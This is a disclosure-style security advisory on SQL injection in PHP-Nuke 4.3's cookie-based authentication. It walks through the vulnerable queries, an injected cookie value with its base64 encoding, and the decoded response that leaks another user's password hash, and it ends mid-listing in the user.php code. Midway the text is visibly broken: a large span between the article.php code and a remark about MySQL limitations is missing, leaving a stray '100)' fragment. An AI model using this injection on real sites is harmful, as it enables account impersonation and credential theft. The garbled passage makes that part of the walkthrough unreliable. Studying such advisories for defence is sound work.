-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----
RFPlutonium to fuel your PHP-Nuke
SQL hacking user logins in PHP-Nuke web portal
------------------------------------/ rain forest puppy / rfp@wiretrip.net
Table of contents:
-/ 1 / Standard advisory information
-/ 2 / High and clean overview
-/ 3 / Down and dirty explanation
-/ 4 / New Year BONUS: other tricks
-/ 5 / Resolution
--------------------------------------------------------------------------
Disclaimer: no one is forcing you to read this; stop if you don't want to.
--------------------------------------------------------------------------
-/ 1 / Standard advisory information /------------------------------------
Software package: PHP-Nuke
Vendor homepage: www.phpnuke.org
Version tested: 4.3
Platforms: Platform-independent (PHP)
Vendor contacted: 12/29/2000
CVE candidate: CAN-2001-0001
Vulnerability type: Authentication weaknesses (user and admin)
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html
Prior problems: Admin authentication bypass, Aug 2000
BID: 1592 CVE: CVE-2000-0745 SAC: 00.35.032
Current version: 4.4 (may still be vulnerable; not tested)
-/ 2 / High and clean overview /------------------------------------------
PHP-Nuke is a pretty groovy web portal/news system written in PHP. I was
actually so impressed with its look, and even more so by some of its
features, that I decided to use it for two upcoming projects, and like any
other piece of code I decide to use, I gave it a quick code review (via la
open source!). While I was happy with the code in general, it did exhibit
a few security problems involving tampering with SQL statements.
Rather than write a five-line text saying "PHP-Nuke is exploitable
...blah...blah", I feel it is much more advantageous, from an educational
standpoint, to walk through the process of how this vulnerability works.
Those of you who want to see more examples of SQL hacking can take a look
at RFP2K01, available at:
http://www.wiretrip.net/rfp/p/doc.asp?id=42
This is also not an extremely useful hack--it allows you to impersonate
other users and retrieve their password hashes. It also has a caveat that
could allow an attacker to easily brute force an author (admin) password.
-/ 3 / Down and dirty explanation /--------------------------------------
First off, to better aid SQL hacking, it helps to turn on SQL query
logging. In MySQL, this is a matter of adding the '-l logfile' parameter
to (safe_)mysqld when starting it.
Next, let's take a look at the code. Since this is written in PHP and
uses MySQL, our target function is mysql_query(). So let's grep for all
uses of mysql_query():
[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php
[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
.... 254 more lines of SQL queries that I don't want to print here ....
Now, lets take a look at those that contain variables, since it’s possible
user input is contained in those variables. For example, a few select
lines from that output:
article.php: mysql_query("update users set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
banners.php: mysql_query("delete from banner where bid=$bid");
comments.php: $something = mysql_query("$q");
user.php: $result = mysql_query("select email, pass from users where
(uname='$uname')");
index.php: mysql_query("insert into referer values (NULL, '$referer')");
The query from article.php contains four variables: $mode, $order, $thold,
and $cookie[0]. The banners.php is interesting, because it seems that the
entire query is contained within the $q variable, meaning we must look
inside the file to see what the value is. In doing that, we get:
$q = "select tid, pid, sid, date, name, email, url, host_name,
subject, comment, score, reason from comments where sid=$sid
and pid=$pid";
if($thold != "") {
$q .= " and score>=$thold";
} else {
$q .= " and score>=0";
}
if ($order==1) $q .= " order by date desc";
if ($order==2) $q .= " order by score desc";
So we see that $q used the variables $sid and $pid, and perhaps $thold, if
it's defined.
So what do we do now? Well, let's take a look at what is actually in some
of those variables. We’ll start with the above query listed for
article.php. Here is the actual code, with comments removed:
100)
Both of which would greatly increase the SQL hacking aspect of MySQL. :)
In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to
use a different database engine, such as Postgres. But this is doubtful).
This means we have the limitation of only tampering with the query given
(i.e. we can't add a separate query). Since PHP escapes URL parameter
variables we are also limited, unless the query contains a variable that
was parsed by the script in some form (such as with cookiedecode()).
Hmm, that's quite a few limitations.
So let's look at the query we've been running:
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
By specifying an arbitrary uid value, we can clobber the umode, uorder,
and thold values of any user. Though annoying, it is hardly a critical
security problem, since umode, uorder, and thold are just the display
preferences of a user. Let's look at the entire code snippet:
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
After calling cookiedecode() and running the first query, there's a call
to getusrinfo(), and then a bunch of the user's information is base64
encoded and sent to us as a cookie. However, notice! The $userinfo[pass]
value is included! This means, if we're careful, we may possibly be sent
a cookie that contains a user's password. All we need to do is get past
getusrinfo():
function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email,
femail, url, pass, storynum, umode, uorder,
thold, noscore, bio, ublockon, ublock, theme,
commentmax from users where uname='$user3[1]'
and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "A problem occured
";
}
return $userinfo;
}
Hmm, ok, let's see. Again, it takes the $user value, base64 decodes it
(just like cookiedecode()), then runs a query using parts 2 and 3 from the
cookie ($user3[1] and $user3[2], respectively). However, to correctly
work, we need to know the right uname and pass of the target user,
otherwise the SQL query will return 0 rows, and will display "A problem
occured". If we already know the username and password of a user, we
wouldn't be going through this, now would we?
So, can we tamper with the query? We're looking to return all the user
data for the record where "uname='name' and pass='password'". Perhaps if
we broaden the search criteria, we can do better. Consider a query that
looks like:
... where uname='name' and pass='password' or uname='name'
Logically, the query is grouped like so:
... where (uname='name' and pass='password') or (uname='name')
So now, if we know a user's username (which we should), but not their
password, the first clause will fail; however, the second will succeed!
Or at least, that's the plan....
So let's test that hypothesis. Now we need to make our $user variable
contain something like:
uid:username:blah' or uname='username
On my system I want to target the user 'test1'. So I'm going to try the
values:
1:test1:blah' or uname='test1
Now, let's encode that:
[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |
uuencode -m f
begin-base64 644 f
MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
====
Put that in our query above, and try it out. Lo and behold, I'm sent a
Cookie that looks like:
Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
expires=Friday, 29-Dec-00 20:14:00 GMT
Now, the user value is base64 encoded. I have my own way to base64 decode
stuff, but to be compatible with what I've been writing (i.e. using the
command line), the best way is to create a file (let's call it 'encode')
with the following contents:
begin-base64 666 user
MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
===
Note: replace all %3D with '=', and don't include the ending ';'
Now, run the following command:
[root@cide nuke]# uudecode encode; cat user
uudecode: encode: illegal line
1:test1:lfkSv9NQ1eklg:10:rain:0:0:0
And there we go--that's the uid, username, password, etc of the target
user (test1). Now, before you think that I use *really* strong passwords,
you should know that PHP-Nuke uses password hashing. That means you'll
have to crack the password hash to get the actual password.
But does that matter? I'm going to hop over to user.php. User.php is the
script that manages user information, including login, new user
registrations, user information changes, etc. Particularly, what does it
take to change a user's information? Well, let's see:
function edituser() {
global $user, $userinfo;
include("header.php");
getusrinfo($user);
nav();
?>